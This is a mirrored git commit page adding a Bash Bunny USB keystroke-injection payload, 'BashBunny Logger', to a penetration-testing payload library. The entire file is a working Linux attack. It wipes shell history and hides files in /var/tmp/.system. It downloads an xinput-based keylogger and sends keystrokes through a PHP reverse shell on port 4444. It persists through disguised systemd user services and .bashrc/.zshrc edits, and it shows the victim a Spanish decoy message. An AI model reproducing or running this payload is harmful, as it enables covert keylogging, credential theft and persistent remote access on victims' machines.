mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-12-24 14:08:29 +00:00
Create payload.txt
This commit is contained in:
98
payloads/library/credentials/bb-logger/payload.txt
Normal file
98
payloads/library/credentials/bb-logger/payload.txt
Normal file
@@ -0,0 +1,98 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
#
|
||||||
|
# Title: BashBunny Logger
|
||||||
|
#
|
||||||
|
# Description:
|
||||||
|
# Script By:
|
||||||
|
# -Genplat Dev 6-27
|
||||||
|
# Join: discord.gg/elite6-27
|
||||||
|
#
|
||||||
|
# Author: Genplat
|
||||||
|
# Version: 1.0
|
||||||
|
# Category: Execution
|
||||||
|
# Target: Linux
|
||||||
|
# Attackmodes: HID and STORAGE
|
||||||
|
#
|
||||||
|
# STATUS
|
||||||
|
# ===============
|
||||||
|
# Magenta solid ................................... SETUP
|
||||||
|
# Yellow single blink ............................. ATTACK
|
||||||
|
# Yellow double blink ............................. STAGE2
|
||||||
|
# Yellow triple blink ............................. STAGE3
|
||||||
|
# Yellow quadruple blink .......................... STAGE4
|
||||||
|
# White fast blink ................................ CLEANUP
|
||||||
|
# Green 1000ms VERYFAST blink followed by SOLID ... FINISH
|
||||||
|
|
||||||
|
######## INITIALIZATION ########
|
||||||
|
|
||||||
|
readonly BB_LABEL="Loading"
|
||||||
|
|
||||||
|
######## SETUP ########
|
||||||
|
|
||||||
|
LED SETUP
|
||||||
|
|
||||||
|
ATTACKMODE HID
|
||||||
|
GET SWITCH_POSITION
|
||||||
|
udisk mount
|
||||||
|
RUN UNITY terminator
|
||||||
|
Q DELAY 600
|
||||||
|
Q STRING # Proceso Rutinario Del Sistema. NO PULSE NINGUNA TECLA HASTA QUE TERMINE.
|
||||||
|
|
||||||
|
######## ATTACK ########
|
||||||
|
|
||||||
|
LED ATTACK
|
||||||
|
|
||||||
|
Q STRING unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE
|
||||||
|
Q ENTER
|
||||||
|
Q STRING mkdir /var/tmp/.system
|
||||||
|
Q ENTER
|
||||||
|
Q STRING echo "/var/tmp/.system/./xinput list | grep -Po 'id=\K\d+(?=.*slave\s*keyboard)' | xargs -P0 -n1 /var/tmp/.system/./xinput test" > /var/tmp/.system/sys
|
||||||
|
Q ENTER
|
||||||
|
Q STRING chmod +x /var/tmp/.system/sys
|
||||||
|
Q ENTER
|
||||||
|
Q STRING cd /var/tmp/.system/
|
||||||
|
Q ENTER
|
||||||
|
Q STRING wget --no-check-certificate --content-disposition https://github.com/drapl0n/DuckyLogger/blob/main/xinput\?raw=true
|
||||||
|
Q ENTER
|
||||||
|
Q STRING chmod +x xinput
|
||||||
|
Q ENTER
|
||||||
|
Q STRING echo -e "while :\ndo\n\tping -c 5 0.0.0.0\n\tif [ $? -eq 0 ]; then\n\t\tphp -r '\$sock=fsockopen(\"0.0.0.0\",4444);exec("\"/var/tmp/.system/sys -i "<&3 >&3 2>&3"\"");'\n\tfi\ndone" > /var/tmp/.system/systemBus
|
||||||
|
Q ENTER
|
||||||
|
Q STRING chmod +x /var/tmp/.system/systemBus
|
||||||
|
Q ENTER
|
||||||
|
Q STRING mkdir -p ~/.config/systemd/user
|
||||||
|
Q ENTER
|
||||||
|
Q STRING echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/systemBUS.service
|
||||||
|
Q ENTER
|
||||||
|
Q STRING echo "while true; do systemctl --user restart systemBUS.service; sleep 15m; done" > /var/tmp/.system/reboot
|
||||||
|
Q ENTER
|
||||||
|
Q STRING chmod +x /var/tmp/.system/reboot
|
||||||
|
Q ENTER
|
||||||
|
Q STRING echo -e "[Unit]\nDescription= System BUS handler reboot.\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/reboot -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/reboot.service
|
||||||
|
Q ENTER
|
||||||
|
Q STRING systemctl --user daemon-reload
|
||||||
|
Q ENTER
|
||||||
|
Q STRING systemctl --user enable --now systemBUS.service
|
||||||
|
Q ENTER
|
||||||
|
Q STRING systemctl --user start --now systemBUS.service
|
||||||
|
Q ENTER
|
||||||
|
Q STRING systemctl --user enable --now reboot.service
|
||||||
|
Q ENTER
|
||||||
|
Q STRING systemctl --user start --now reboot.service
|
||||||
|
Q ENTER
|
||||||
|
Q STRING echo -e "ls -a | grep 'zshrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service\" >> ~/.zshrc\nfi\n\nls -a | grep 'bashrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service\" >> ~/.bashrc\nfi" > ~/tmmmp
|
||||||
|
Q ENTER
|
||||||
|
Q STRING chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit
|
||||||
|
Q ENTER
|
||||||
|
|
||||||
|
######## CLEANUP ########
|
||||||
|
|
||||||
|
LED CLEANUP
|
||||||
|
|
||||||
|
sync
|
||||||
|
|
||||||
|
######## FINISH ########
|
||||||
|
|
||||||
|
LED FINISH
|
||||||
|
|
||||||
|
shutdown -h 0
|
||||||
Reference in New Issue
Block a user